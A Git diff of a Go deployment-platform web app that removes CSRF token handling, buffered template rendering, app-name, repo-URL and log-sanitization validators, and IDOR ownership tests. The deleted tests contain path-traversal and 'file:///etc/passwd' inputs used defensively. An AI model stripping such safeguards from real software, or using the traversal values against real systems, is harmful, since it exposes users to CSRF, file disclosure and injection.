-		saveErr := label.Save(request.Context())
-		if saveErr != nil {
-			h.log.Error("failed to update label", "error", saveErr)
-		}
-
-		http.Redirect(writer, request, "/apps/"+appID, http.StatusSeeOther)
-	}
-}
-
-// HandleVolumeEdit handles editing an existing volume mount.
-func (h *Handlers) HandleVolumeEdit() http.HandlerFunc {
-	return func(writer http.ResponseWriter, request *http.Request) {
-		appID := chi.URLParam(request, "id")
-		volumeIDStr := chi.URLParam(request, "volumeID")
-
-		volumeID, parseErr := strconv.ParseInt(volumeIDStr, 10, 64)
-		if parseErr != nil {
-			http.NotFound(writer, request)
-
-			return
-		}
-
-		volume, findErr := models.FindVolume(request.Context(), h.db, volumeID)
-		if findErr != nil || volume == nil || volume.AppID != appID {
-			http.NotFound(writer, request)
-
-			return
-		}
-
-		formErr := request.ParseForm()
-		if formErr != nil {
-			http.Error(writer, "Bad Request", http.StatusBadRequest)
-
-			return
-		}
-
-		hostPath := request.FormValue("host_path")
-		containerPath := request.FormValue("container_path")
-		readOnly := request.FormValue("readonly") == "1"
-
-		if hostPath == "" || containerPath == "" {
-			http.Redirect(writer, request, "/apps/"+appID, http.StatusSeeOther)
-
-			return
-		}
-
-		pathErr := validateVolumePaths(hostPath, containerPath)
-		if pathErr != nil {
-			h.log.Error("invalid volume path", "error", pathErr)
-			http.Redirect(writer, request, "/apps/"+appID, http.StatusSeeOther)
-
-			return
-		}
-
-		volume.HostPath = hostPath
-		volume.ContainerPath = containerPath
-		volume.ReadOnly = readOnly
-
-		saveErr := volume.Save(request.Context())
-		if saveErr != nil {
-			h.log.Error("failed to update volume", "error", saveErr)
-		}
-
-		http.Redirect(writer, request, "/apps/"+appID, http.StatusSeeOther)
-	}
-}
-
-// validateVolumePaths validates both host and container paths for a volume.
-func validateVolumePaths(hostPath, containerPath string) error {
-	hostErr := ValidateVolumePath(hostPath)
-	if hostErr != nil {
-		return fmt.Errorf("host path: %w", hostErr)
-	}
-
-	containerErr := ValidateVolumePath(containerPath)
-	if containerErr != nil {
-		return fmt.Errorf("container path: %w", containerErr)
-	}
-
-	return nil
-}
-
 // formatDeployKey formats an SSH public key with a descriptive comment.
 // Format: ssh-ed25519 AAAA... upaas_2025-01-15_myapp
 func formatDeployKey(pubKey string, createdAt time.Time, appName string) string {
--- a/internal/handlers/app_name_validation.go
+++ b/internal/handlers/app_name_validation.go
@@ -1,44 +0,0 @@
-package handlers
-
-import (
-	"errors"
-	"regexp"
-	"strconv"
-)
-
-const (
-	// appNameMinLength is the minimum allowed length for an app name.
-	appNameMinLength = 2
-	// appNameMaxLength is the maximum allowed length for an app name.
-	appNameMaxLength = 63
-)
-
-// validAppNameRe matches names containing only lowercase alphanumeric characters and
-// hyphens, starting and ending with an alphanumeric character.
-var validAppNameRe = regexp.MustCompile(`^[a-z0-9][a-z0-9-]*[a-z0-9]$`)
-
-// validateAppName checks that the given app name is safe for use in Docker
-// container names, image tags, and file system paths.
-var (
-	errAppNameLength = errors.New(
-		"app name must be between " +
-			strconv.Itoa(appNameMinLength) + " and " +
-			strconv.Itoa(appNameMaxLength) + " characters",
-	)
-	errAppNamePattern = errors.New(
-		"app name must contain only lowercase letters, numbers, " +
-			"and hyphens, and must start and end with a letter or number",
-	)
-)
-
-func validateAppName(name string) error {
-	if len(name) < appNameMinLength || len(name) > appNameMaxLength {
-		return errAppNameLength
-	}
-
-	if !validAppNameRe.MatchString(name) {
-		return errAppNamePattern
-	}
-
-	return nil
-}
--- a/internal/handlers/app_name_validation_test.go
+++ b/internal/handlers/app_name_validation_test.go
@@ -1,48 +0,0 @@
-package handlers //nolint:testpackage // testing unexported validateAppName
-
-import (
-	"testing"
-)
-
-func TestValidateAppName(t *testing.T) {
-	t.Parallel()
-
-	tests := []struct {
-		name    string
-		input   string
-		wantErr bool
-	}{
-		{"valid simple", "myapp", false},
-		{"valid with hyphen", "my-app", false},
-		{"valid with numbers", "app123", false},
-		{"valid two chars", "ab", false},
-		{"valid complex", "my-cool-app-v2", false},
-		{"valid all numbers", "123", false},
-		{"empty", "", true},
-		{"single char", "a", true},
-		{"too long", "a" + string(make([]byte, 63)), true},
-		{"exactly 63 chars", "a23456789012345678901234567890123456789012345678901234567890123", false},
-		{"64 chars", "a234567890123456789012345678901234567890123456789012345678901234", true},
-		{"uppercase", "MyApp", true},
-		{"spaces", "my app", true},
-		{"starts with hyphen", "-myapp", true},
-		{"ends with hyphen", "myapp-", true},
-		{"underscore", "my_app", true},
-		{"dot", "my.app", true},
-		{"slash", "my/app", true},
-		{"path traversal", "../etc/passwd", true},
-		{"special chars", "app@name!", true},
-		{"unicode", "appñame", true},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			t.Parallel()
-
-			err := validateAppName(tt.input)
-			if (err != nil) != tt.wantErr {
-				t.Errorf("validateAppName(%q) error = %v, wantErr %v", tt.input, err, tt.wantErr)
-			}
-		})
-	}
-}
--- a/internal/handlers/auth.go
+++ b/internal/handlers/auth.go
@@ -10,10 +10,14 @@ import (
 func (h *Handlers) HandleLoginGET() http.HandlerFunc {
 	tmpl := templates.GetParsed()

-	return func(writer http.ResponseWriter, request *http.Request) {
-		data := h.addGlobals(map[string]any{}, request)
+	return func(writer http.ResponseWriter, _ *http.Request) {
+		data := h.addGlobals(map[string]any{})

-		h.renderTemplate(writer, tmpl, "login.html", data)
+		err := tmpl.ExecuteTemplate(writer, "login.html", data)
+		if err != nil {
+			h.log.Error("template execution failed", "error", err)
+			http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
+		}
 	}
 }

@@ -34,11 +38,11 @@ func (h *Handlers) HandleLoginPOST() http.HandlerFunc {

 		data := h.addGlobals(map[string]any{
 			"Username": username,
-		}, request)
+		})

 		if username == "" || password == "" {
 			data["Error"] = "Username and password are required"
-			h.renderTemplate(writer, tmpl, "login.html", data)
+			_ = tmpl.ExecuteTemplate(writer, "login.html", data)

 			return
 		}
@@ -46,7 +50,7 @@ func (h *Handlers) HandleLoginPOST() http.HandlerFunc {
 		user, authErr := h.auth.Authenticate(request.Context(), username, password)
 		if authErr != nil {
 			data["Error"] = "Invalid username or password"
-			h.renderTemplate(writer, tmpl, "login.html", data)
+			_ = tmpl.ExecuteTemplate(writer, "login.html", data)

 			return
 		}
@@ -56,7 +60,7 @@ func (h *Handlers) HandleLoginPOST() http.HandlerFunc {
 			h.log.Error("failed to create session", "error", sessionErr)

 			data["Error"] = "Failed to create session"
-			h.renderTemplate(writer, tmpl, "login.html", data)
+			_ = tmpl.ExecuteTemplate(writer, "login.html", data)

 			return
 		}
--- a/internal/handlers/dashboard.go
+++ b/internal/handlers/dashboard.go
@@ -67,8 +67,12 @@ func (h *Handlers) HandleDashboard() http.HandlerFunc {

 		data := h.addGlobals(map[string]any{
 			"AppStats": appStats,
-		}, request)
+		})

-		h.renderTemplate(writer, tmpl, "dashboard.html", data)
+		execErr := tmpl.ExecuteTemplate(writer, "dashboard.html", data)
+		if execErr != nil {
+			h.log.Error("template execution failed", "error", execErr)
+			http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
+		}
 	}
 }
--- a/internal/handlers/handlers.go
+++ b/internal/handlers/handlers.go
@@ -2,12 +2,10 @@
 package handlers

 import (
-	"bytes"
 	"encoding/json"
 	"log/slog"
 	"net/http"

-	"github.com/gorilla/csrf"
 	"go.uber.org/fx"

 	"git.eeqj.de/sneak/upaas/internal/database"
@@ -19,7 +17,6 @@ import (
 	"git.eeqj.de/sneak/upaas/internal/service/auth"
 	"git.eeqj.de/sneak/upaas/internal/service/deploy"
 	"git.eeqj.de/sneak/upaas/internal/service/webhook"
-	"git.eeqj.de/sneak/upaas/templates"
 )

 // Params contains dependencies for Handlers.
@@ -67,43 +64,14 @@ func New(_ fx.Lifecycle, params Params) (*Handlers, error) {
 	}, nil
 }

-// addGlobals adds version info and CSRF token to template data map.
-func (h *Handlers) addGlobals(
-	data map[string]any,
-	request *http.Request,
-) map[string]any {
+// addGlobals adds version info to template data map.
+func (h *Handlers) addGlobals(data map[string]any) map[string]any {
 	data["Version"] = h.globals.Version
 	data["Appname"] = h.globals.Appname

-	if request != nil {
-		data["CSRFField"] = csrf.TemplateField(request)
-	}
-
 	return data
 }

-// renderTemplate executes the named template into a buffer first, then writes
-// to the ResponseWriter only on success. This prevents partial/corrupt HTML
-// responses when template execution fails partway through.
-func (h *Handlers) renderTemplate(
-	writer http.ResponseWriter,
-	tmpl *templates.TemplateExecutor,
-	name string,
-	data any,
-) {
-	var buf bytes.Buffer
-
-	err := tmpl.ExecuteTemplate(&buf, name, data)
-	if err != nil {
-		h.log.Error("template execution failed", "error", err)
-		http.Error(writer, "Internal Server Error", http.StatusInternalServerError)
-
-		return
-	}
-
-	_, _ = buf.WriteTo(writer)
-}
-
 func (h *Handlers) respondJSON(
 	writer http.ResponseWriter,
 	_ *http.Request,
--- a/internal/handlers/handlers_test.go
+++ b/internal/handlers/handlers_test.go
@@ -5,7 +5,6 @@ import (
 	"net/http"
 	"net/http/httptest"
 	"net/url"
-	"strconv"
 	"strings"
 	"testing"
 	"time"
@@ -15,8 +14,6 @@ import (
 	"github.com/stretchr/testify/require"
 	"go.uber.org/fx"

-	"git.eeqj.de/sneak/upaas/internal/models"
-
 	"git.eeqj.de/sneak/upaas/internal/config"
 	"git.eeqj.de/sneak/upaas/internal/database"
 	"git.eeqj.de/sneak/upaas/internal/docker"
@@ -24,7 +21,6 @@ import (
 	"git.eeqj.de/sneak/upaas/internal/handlers"
 	"git.eeqj.de/sneak/upaas/internal/healthcheck"
 	"git.eeqj.de/sneak/upaas/internal/logger"
-	"git.eeqj.de/sneak/upaas/internal/middleware"
 	"git.eeqj.de/sneak/upaas/internal/service/app"
 	"git.eeqj.de/sneak/upaas/internal/service/auth"
 	"git.eeqj.de/sneak/upaas/internal/service/deploy"
@@ -37,7 +33,6 @@ type testContext struct {
 	database *database.Database
 	authSvc  *auth.Service
 	appSvc   *app.Service
-	middleware *middleware.Middleware
 }

 func createTestConfig(t *testing.T) *config.Config {
@@ -168,20 +163,11 @@ func setupTestHandlers(t *testing.T) *testContext {
 	)
 	require.NoError(t, handlerErr)

-	mw, mwErr := middleware.New(fx.Lifecycle(nil), middleware.Params{
-		Logger:  logInstance,
-		Globals: globalInstance,
-		Config:  cfg,
-		Auth:    authSvc,
-	})
-	require.NoError(t, mwErr)
-
 	return &testContext{
 		handlers: handlersInstance,
 		database: dbInstance,
 		authSvc:  authSvc,
 		appSvc:   appSvc,
-		middleware: mw,
 	}
 }

@@ -440,302 +426,6 @@ func addChiURLParams(
 	)
 }

-// createTestApp creates an app using the app service and returns it.
-func createTestApp(
-	t *testing.T,
-	tc *testContext,
-	name string,
-) *models.App {
-	t.Helper()
-
-	createdApp, err := tc.appSvc.CreateApp(
-		context.Background(),
-		app.CreateAppInput{
-			Name:    name,
-			RepoURL: "git@example.com:user/" + name + ".git",
-			Branch:  "main",
-		},
-	)
-	require.NoError(t, err)
-
-	return createdApp
-}
-
-// TestHandleWebhookRejectsOversizedBody tests that oversized webhook payloads
-// are handled gracefully.
-func TestHandleWebhookRejectsOversizedBody(t *testing.T) {
-	t.Parallel()
-
-	testCtx := setupTestHandlers(t)
-
-	// Create an app first
-	createdApp, createErr := testCtx.appSvc.CreateApp(
-		context.Background(),
-		app.CreateAppInput{
-			Name:    "oversize-test-app",
-			RepoURL: "git@example.com:user/repo.git",
-			Branch:  "main",
-		},
-	)
-	require.NoError(t, createErr)
-
-	// Create a body larger than 1MB - it should be silently truncated
-	// and the webhook should still process (or fail gracefully on parse)
-	largePayload := strings.Repeat("x", 2*1024*1024) // 2MB
-	request := httptest.NewRequest(
-		http.MethodPost,
-		"/webhook/"+createdApp.WebhookSecret,
-		strings.NewReader(largePayload),
-	)
-	request = addChiURLParams(
-		request,
-		map[string]string{"secret": createdApp.WebhookSecret},
-	)
-	request.Header.Set("Content-Type", "application/json")
-	request.Header.Set("X-Gitea-Event", "push")
-
-	recorder := httptest.NewRecorder()
-
-	handler := testCtx.handlers.HandleWebhook()
-	handler.ServeHTTP(recorder, request)
-
-	// Should still return OK (payload is truncated and fails JSON parse,
-	// but webhook service handles invalid JSON gracefully)
-	assert.Equal(t, http.StatusOK, recorder.Code)
-}
-
-// ownedResourceTestConfig configures an IDOR ownership verification test.
-type ownedResourceTestConfig struct {
-	appPrefix1 string
-	appPrefix2 string
-	createFn   func(t *testing.T, tc *testContext, app *models.App) int64
-	deletePath func(appID string, resourceID int64) string
-	chiParams  func(appID string, resourceID int64) map[string]string
-	handler    func(h *handlers.Handlers) http.HandlerFunc
-	verifyFn   func(t *testing.T, tc *testContext, resourceID int64)
-}
-
-func testOwnershipVerification(t *testing.T, cfg ownedResourceTestConfig) {
-	t.Helper()
-
-	testCtx := setupTestHandlers(t)
-
-	app1 := createTestApp(t, testCtx, cfg.appPrefix1)
-	app2 := createTestApp(t, testCtx, cfg.appPrefix2)
-
-	resourceID := cfg.createFn(t, testCtx, app1)
-
-	request := httptest.NewRequest(
-		http.MethodPost,
-		cfg.deletePath(app2.ID, resourceID),
-		nil,
-	)
-	request = addChiURLParams(request, cfg.chiParams(app2.ID, resourceID))
-
-	recorder := httptest.NewRecorder()
-
-	handler := cfg.handler(testCtx.handlers)
-	handler.ServeHTTP(recorder, request)
-
-	assert.Equal(t, http.StatusNotFound, recorder.Code)
-	cfg.verifyFn(t, testCtx, resourceID)
-}
-
-// TestDeleteEnvVarOwnershipVerification tests that deleting an env var
-// via another app's URL path returns 404 (IDOR prevention).
-func TestDeleteEnvVarOwnershipVerification(t *testing.T) { //nolint:dupl // intentionally similar IDOR test pattern
-	t.Parallel()
-
-	testOwnershipVerification(t, ownedResourceTestConfig{
-		appPrefix1: "envvar-owner-app",
-		appPrefix2: "envvar-other-app",
-		createFn: func(t *testing.T, tc *testContext, ownerApp *models.App) int64 {
-			t.Helper()
-
-			envVar := models.NewEnvVar(tc.database)
-			envVar.AppID = ownerApp.ID
-			envVar.Key = "SECRET"
-			envVar.Value = "hunter2"
-			require.NoError(t, envVar.Save(context.Background()))
-
-			return envVar.ID
-		},
-		deletePath: func(appID string, resourceID int64) string {
-			return "/apps/" + appID + "/env/" + strconv.FormatInt(resourceID, 10) + "/delete"
-		},
-		chiParams: func(appID string, resourceID int64) map[string]string {
-			return map[string]string{"id": appID, "envID": strconv.FormatInt(resourceID, 10)}
-		},
-		handler: func(h *handlers.Handlers) http.HandlerFunc { return h.HandleEnvVarDelete() },
-		verifyFn: func(t *testing.T, tc *testContext, resourceID int64) {
-			t.Helper()
-
-			found, findErr := models.FindEnvVar(context.Background(), tc.database, resourceID)
-			require.NoError(t, findErr)
-			assert.NotNil(t, found, "env var should still exist after IDOR attempt")
-		},
-	})
-}
-
-// TestDeleteLabelOwnershipVerification tests that deleting a label
-// via another app's URL path returns 404 (IDOR prevention).
-func TestDeleteLabelOwnershipVerification(t *testing.T) { //nolint:dupl // intentionally similar IDOR test pattern
-	t.Parallel()
-
-	testOwnershipVerification(t, ownedResourceTestConfig{
-		appPrefix1: "label-owner-app",
-		appPrefix2: "label-other-app",
-		createFn: func(t *testing.T, tc *testContext, ownerApp *models.App) int64 {
-			t.Helper()
-
-			lbl := models.NewLabel(tc.database)
-			lbl.AppID = ownerApp.ID
-			lbl.Key = "traefik.enable"
-			lbl.Value = "true"
-			require.NoError(t, lbl.Save(context.Background()))
-
-			return lbl.ID
-		},
-		deletePath: func(appID string, resourceID int64) string {
-			return "/apps/" + appID + "/labels/" + strconv.FormatInt(resourceID, 10) + "/delete"
-		},
-		chiParams: func(appID string, resourceID int64) map[string]string {
-			return map[string]string{"id": appID, "labelID": strconv.FormatInt(resourceID, 10)}
-		},
-		handler: func(h *handlers.Handlers) http.HandlerFunc { return h.HandleLabelDelete() },
-		verifyFn: func(t *testing.T, tc *testContext, resourceID int64) {
-			t.Helper()
-
-			found, findErr := models.FindLabel(context.Background(), tc.database, resourceID)
-			require.NoError(t, findErr)
-			assert.NotNil(t, found, "label should still exist after IDOR attempt")
-		},
-	})
-}
-
-// TestDeleteVolumeOwnershipVerification tests that deleting a volume
-// via another app's URL path returns 404 (IDOR prevention).
-func TestDeleteVolumeOwnershipVerification(t *testing.T) {
-	t.Parallel()
-
-	testCtx := setupTestHandlers(t)
-
-	app1 := createTestApp(t, testCtx, "volume-owner-app")
-	app2 := createTestApp(t, testCtx, "volume-other-app")
-
-	// Create volume belonging to app1
-	volume := models.NewVolume(testCtx.database)
-	volume.AppID = app1.ID
-	volume.HostPath = "/data/app1"
-	volume.ContainerPath = "/app/data"
-	volume.ReadOnly = false
-	require.NoError(t, volume.Save(context.Background()))
-
-	// Try to delete app1's volume using app2's URL path
-	request := httptest.NewRequest(
-		http.MethodPost,
-		"/apps/"+app2.ID+"/volumes/"+strconv.FormatInt(volume.ID, 10)+"/delete",
-		nil,
-	)
-	request = addChiURLParams(request, map[string]string{
-		"id":       app2.ID,
-		"volumeID": strconv.FormatInt(volume.ID, 10),
-	})
-	recorder := httptest.NewRecorder()
-
-	handler := testCtx.handlers.HandleVolumeDelete()
-	handler.ServeHTTP(recorder, request)
-
-	assert.Equal(t, http.StatusNotFound, recorder.Code)
-
-	// Verify the volume was NOT deleted
-	found, err := models.FindVolume(context.Background(), testCtx.database, volume.ID)
-	require.NoError(t, err)
-	assert.NotNil(t, found, "volume should still exist after IDOR attempt")
-}
-
-// TestDeletePortOwnershipVerification tests that deleting a port
-// via another app's URL path returns 404 (IDOR prevention).
-func TestDeletePortOwnershipVerification(t *testing.T) {
-	t.Parallel()
-
-	testCtx := setupTestHandlers(t)
-
-	app1 := createTestApp(t, testCtx, "port-owner-app")
-	app2 := createTestApp(t, testCtx, "port-other-app")
-
-	// Create port belonging to app1
-	port := models.NewPort(testCtx.database)
-	port.AppID = app1.ID
-	port.HostPort = 8080
-	port.ContainerPort = 80
-	port.Protocol = models.PortProtocolTCP
-	require.NoError(t, port.Save(context.Background()))
-
-	// Try to delete app1's port using app2's URL path
-	request := httptest.NewRequest(
-		http.MethodPost,
-		"/apps/"+app2.ID+"/ports/"+strconv.FormatInt(port.ID, 10)+"/delete",
-		nil,
-	)
-	request = addChiURLParams(request, map[string]string{
-		"id":     app2.ID,
-		"portID": strconv.FormatInt(port.ID, 10),
-	})
-	recorder := httptest.NewRecorder()
-
-	handler := testCtx.handlers.HandlePortDelete()
-	handler.ServeHTTP(recorder, request)
-
-	assert.Equal(t, http.StatusNotFound, recorder.Code)
-
-	// Verify the port was NOT deleted
-	found, err := models.FindPort(context.Background(), testCtx.database, port.ID)
-	require.NoError(t, err)
-	assert.NotNil(t, found, "port should still exist after IDOR attempt")
-}
-
-func TestHandleCancelDeployRedirects(t *testing.T) {
-	t.Parallel()
-
-	testCtx := setupTestHandlers(t)
-
-	createdApp := createTestApp(t, testCtx, "cancel-deploy-app")
-
-	request := httptest.NewRequest(
-		http.MethodPost,
-		"/apps/"+createdApp.ID+"/deployments/cancel",
-		nil,
-	)
-	request = addChiURLParams(request, map[string]string{"id": createdApp.ID})
-	recorder := httptest.NewRecorder()
-
-	handler := testCtx.handlers.HandleCancelDeploy()
-	handler.ServeHTTP(recorder, request)
-
-	assert.Equal(t, http.StatusSeeOther, recorder.Code)
-	assert.Equal(t, "/apps/"+createdApp.ID, recorder.Header().Get("Location"))
-}
-
-func TestHandleCancelDeployReturns404ForUnknownApp(t *testing.T) {
-	t.Parallel()
-
-	testCtx := setupTestHandlers(t)
-
-	request := httptest.NewRequest(
-		http.MethodPost,
-		"/apps/nonexistent/deployments/cancel",
-		nil,
-	)
-	request = addChiURLParams(request, map[string]string{"id": "nonexistent"})
-	recorder := httptest.NewRecorder()
-
-	handler := testCtx.handlers.HandleCancelDeploy()
-	handler.ServeHTTP(recorder, request)
-
-	assert.Equal(t, http.StatusNotFound, recorder.Code)
-}
-
 func TestHandleWebhookReturns404ForUnknownSecret(t *testing.T) {
 	t.Parallel()

--- a/internal/handlers/port_validation_test.go
+++ b/internal/handlers/port_validation_test.go
@@ -1,39 +0,0 @@
-package handlers //nolint:testpackage // tests unexported parsePortValues function
-
-import "testing"
-
-func TestParsePortValues(t *testing.T) {
-	t.Parallel()
-
-	tests := []struct {
-		name      string
-		host      string
-		container string
-		wantHost  int
-		wantCont  int
-		wantValid bool
-	}{
-		{"valid ports", "8080", "80", 8080, 80, true},
-		{"port 1", "1", "1", 1, 1, true},
-		{"port 65535", "65535", "65535", 65535, 65535, true},
-		{"host port above 65535", "99999", "80", 0, 0, false},
-		{"container port above 65535", "80", "99999", 0, 0, false},
-		{"both ports above 65535", "70000", "70000", 0, 0, false},
-		{"zero port", "0", "80", 0, 0, false},
-		{"negative port", "-1", "80", 0, 0, false},
-		{"non-numeric", "abc", "80", 0, 0, false},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			t.Parallel()
-
-			host, cont, valid := parsePortValues(tt.host, tt.container)
-			if host != tt.wantHost || cont != tt.wantCont || valid != tt.wantValid {
-				t.Errorf("parsePortValues(%q, %q) = (%d, %d, %v), want (%d, %d, %v)",
-					tt.host, tt.container, host, cont, valid,
-					tt.wantHost, tt.wantCont, tt.wantValid)
-			}
-		})
-	}
-}
--- a/internal/handlers/render_template_test.go
+++ b/internal/handlers/render_template_test.go
@@ -1,73 +0,0 @@
-package handlers_test
-
-import (
-	"net/http"
-	"net/http/httptest"
-	"testing"
-
-	"github.com/stretchr/testify/assert"
-)
-
-// TestRenderTemplateBuffersOutput verifies that successful template rendering
-// produces a complete HTML response (not partial/corrupt).
-func TestRenderTemplateBuffersOutput(t *testing.T) {
-	t.Parallel()
-
-	testCtx := setupTestHandlers(t)
-
-	// The setup page is simple and has no DB dependencies
-	request := httptest.NewRequest(http.MethodGet, "/setup", nil)
-	recorder := httptest.NewRecorder()
-
-	handler := testCtx.handlers.HandleSetupGET()
-	handler.ServeHTTP(recorder, request)
-
-	assert.Equal(t, http.StatusOK, recorder.Code)
-
-	body := recorder.Body.String()
-	// A properly buffered response should contain the closing </html> tag,
-	// proving the full template was rendered before being sent.
-	assert.Contains(t, body, "</html>")
-	// Should NOT contain the error text that would be appended on failure
-	assert.NotContains(t, body, "Internal Server Error")
-}
-
-// TestDashboardRenderTemplateBuffersOutput verifies the dashboard handler
-// also uses buffered template rendering.
-func TestDashboardRenderTemplateBuffersOutput(t *testing.T) {
-	t.Parallel()
-
-	testCtx := setupTestHandlers(t)
-
-	request := httptest.NewRequest(http.MethodGet, "/", nil)
-	recorder := httptest.NewRecorder()
-
-	handler := testCtx.handlers.HandleDashboard()
-	handler.ServeHTTP(recorder, request)
-
-	assert.Equal(t, http.StatusOK, recorder.Code)
-
-	body := recorder.Body.String()
-	assert.Contains(t, body, "</html>")
-	assert.NotContains(t, body, "Internal Server Error")
-}
-
-// TestLoginRenderTemplateBuffersOutput verifies the login handler
-// uses buffered template rendering.
-func TestLoginRenderTemplateBuffersOutput(t *testing.T) {
-	t.Parallel()
-
-	testCtx := setupTestHandlers(t)
-
-	request := httptest.NewRequest(http.MethodGet, "/login", nil)
-	recorder := httptest.NewRecorder()
-
-	handler := testCtx.handlers.HandleLoginGET()
-	handler.ServeHTTP(recorder, request)
-
-	assert.Equal(t, http.StatusOK, recorder.Code)
-
-	body := recorder.Body.String()
-	assert.Contains(t, body, "</html>")
-	assert.NotContains(t, body, "Internal Server Error")
-}
--- a/internal/handlers/repo_url_validation.go
+++ b/internal/handlers/repo_url_validation.go
@@ -1,67 +0,0 @@
-package handlers
-
-import (
-	"errors"
-	"net/url"
-	"regexp"
-	"strings"
-)
-
-// Repo URL validation errors.
-var (
-	errRepoURLEmpty   = errors.New("repository URL must not be empty")
-	errRepoURLScheme  = errors.New("file:// URLs are not allowed for security reasons")
-	errRepoURLInvalid = errors.New("repository URL must use https://, http://, ssh://, git://, or git@host:path format")
-	errRepoURLNoHost  = errors.New("repository URL must include a host")
-	errRepoURLNoPath  = errors.New("repository URL must include a path")
-)
-
-// scpLikeRepoRe matches SCP-like git URLs: git@host:path (e.g. git@github.com:user/repo.git).
-// Only the "git" user is allowed, as that is the standard for SSH deploy keys.
-var scpLikeRepoRe = regexp.MustCompile(`^git@[a-zA-Z0-9._-]+:.+$`)
-
-// validateRepoURL checks that the given repository URL is valid and uses an allowed scheme.
-func validateRepoURL(repoURL string) error {
-	if strings.TrimSpace(repoURL) == "" {
-		return errRepoURLEmpty
-	}
-
-	// Reject path traversal in any URL format
-	if strings.Contains(repoURL, "..") {
-		return errRepoURLInvalid
-	}
-
-	// Check for SCP-like git URLs first (git@host:path)
-	if scpLikeRepoRe.MatchString(repoURL) {
-		return nil
-	}
-
-	// Reject file:// explicitly
-	if strings.HasPrefix(strings.ToLower(repoURL), "file://") {
-		return errRepoURLScheme
-	}
-
-	// Parse as standard URL
-	parsed, err := url.Parse(repoURL)
-	if err != nil {
-		return errRepoURLInvalid
-	}
-
-	// Must have a recognized scheme
-	switch strings.ToLower(parsed.Scheme) {
-	case "https", "http", "ssh", "git":
-		// OK
-	default:
-		return errRepoURLInvalid
-	}
-
-	if parsed.Host == "" {
-		return errRepoURLNoHost
-	}
-
-	if parsed.Path == "" || parsed.Path == "/" {
-		return errRepoURLNoPath
-	}
-
-	return nil
-}
--- a/internal/handlers/repo_url_validation_test.go
+++ b/internal/handlers/repo_url_validation_test.go
@@ -1,56 +0,0 @@
-package handlers
-
-import "testing"
-
-func TestValidateRepoURL(t *testing.T) {
-	t.Parallel()
-
-	tests := []struct {
-		name    string
-		url     string
-		wantErr bool
-	}{
-		// Valid URLs
-		{name: "https URL", url: "https://github.com/user/repo.git", wantErr: false},
-		{name: "http URL", url: "http://github.com/user/repo.git", wantErr: false},
-		{name: "ssh URL", url: "ssh://git@github.com/user/repo.git", wantErr: false},
-		{name: "git URL", url: "git://github.com/user/repo.git", wantErr: false},
-		{name: "SCP-like URL", url: "git@github.com:user/repo.git", wantErr: false},
-		{name: "SCP-like with dots", url: "git@git.example.com:org/repo.git", wantErr: false},
-		{name: "https without .git", url: "https://github.com/user/repo", wantErr: false},
-		{name: "https with port", url: "https://git.example.com:8443/user/repo.git", wantErr: false},
-
-		// Invalid URLs
-		{name: "empty string", url: "", wantErr: true},
-		{name: "whitespace only", url: "   ", wantErr: true},
-		{name: "file URL", url: "file:///etc/passwd", wantErr: true},
-		{name: "file URL uppercase", url: "FILE:///etc/passwd", wantErr: true},
-		{name: "bare path", url: "/some/local/path", wantErr: true},
-		{name: "relative path", url: "../repo", wantErr: true},
-		{name: "just a word", url: "notaurl", wantErr: true},
-		{name: "ftp URL", url: "ftp://example.com/repo.git", wantErr: true},
-		{name: "no host https", url: "https:///path", wantErr: true},
-		{name: "no path https", url: "https://github.com", wantErr: true},
-		{name: "no path https trailing slash", url: "https://github.com/", wantErr: true},
-		{name: "SCP-like non-git user", url: "root@github.com:user/repo.git", wantErr: true},
-		{name: "SCP-like arbitrary user", url: "admin@github.com:user/repo.git", wantErr: true},
-		{name: "path traversal SCP", url: "git@github.com:../../etc/passwd", wantErr: true},
-		{name: "path traversal https", url: "https://github.com/user/../../../etc/passwd", wantErr: true},
-		{name: "path traversal in middle", url: "https://github.com/user/repo/../secret", wantErr: true},
-	}
-
-	for _, tc := range tests {
-		t.Run(tc.name, func(t *testing.T) {
-			t.Parallel()
-
-			err := validateRepoURL(tc.url)
-			if tc.wantErr && err == nil {
-				t.Errorf("validateRepoURL(%q) = nil, want error", tc.url)
-			}
-
-			if !tc.wantErr && err != nil {
-				t.Errorf("validateRepoURL(%q) = %v, want nil", tc.url, err)
-			}
-		})
-	}
-}
--- a/internal/handlers/sanitize.go
+++ b/internal/handlers/sanitize.go
@@ -1,30 +0,0 @@
-package handlers
-
-import (
-	"regexp"
-	"strings"
-)
-
-// ansiEscapePattern matches ANSI escape sequences (CSI, OSC, and single-character escapes).
-var ansiEscapePattern = regexp.MustCompile(`(\x1b\[[0-9;]*[a-zA-Z]|\x1b\][^\x07]*\x07|\x1b[^[\]])`)
-
-// SanitizeLogs strips ANSI escape sequences and non-printable control characters
-// from container log output. Newlines (\n), carriage returns (\r), and tabs (\t)
-// are preserved. This ensures that attacker-controlled container output cannot
-// inject terminal escape sequences or other dangerous control characters.
-func SanitizeLogs(input string) string {
-	// Strip ANSI escape sequences
-	result := ansiEscapePattern.ReplaceAllString(input, "")
-
-	// Strip remaining non-printable characters (keep \n, \r, \t)
-	var b strings.Builder
-	b.Grow(len(result))
-
-	for _, r := range result {
-		if r == '\n' || r == '\r' || r == '\t' || r >= ' ' {
-			b.WriteRune(r)
-		}
-	}
-
-	return b.String()
-}
--- a/internal/handlers/sanitize_test.go
+++ b/internal/handlers/sanitize_test.go
@@ -1,84 +0,0 @@
-package handlers_test
-
-import (
-	"testing"
-
-	"git.eeqj.de/sneak/upaas/internal/handlers"
-)
-
-func TestSanitizeLogs(t *testing.T) { //nolint:funlen // table-driven tests
-	t.Parallel()
-
-	tests := []struct {
-		name     string
-		input    string
-		expected string
-	}{
-		{
-			name:     "plain text unchanged",
-			input:    "hello world\n",
-			expected: "hello world\n",
-		},
-		{
-			name:     "strips ANSI color codes",
-			input:    "\x1b[31mERROR\x1b[0m: something failed\n",
-			expected: "ERROR: something failed\n",
-		},
-		{
-			name:     "strips OSC sequences",
-			input:    "\x1b]0;window title\x07normal text\n",
-			expected: "normal text\n",
-		},
-		{
-			name:     "strips null bytes",
-			input:    "hello\x00world\n",
-			expected: "helloworld\n",
-		},
-		{
-			name:     "strips bell characters",
-			input:    "alert\x07here\n",
-			expected: "alerthere\n",
-		},
-		{
-			name:     "preserves tabs",
-			input:    "field1\tfield2\tfield3\n",
-			expected: "field1\tfield2\tfield3\n",
-		},
-		{
-			name:     "preserves carriage returns",
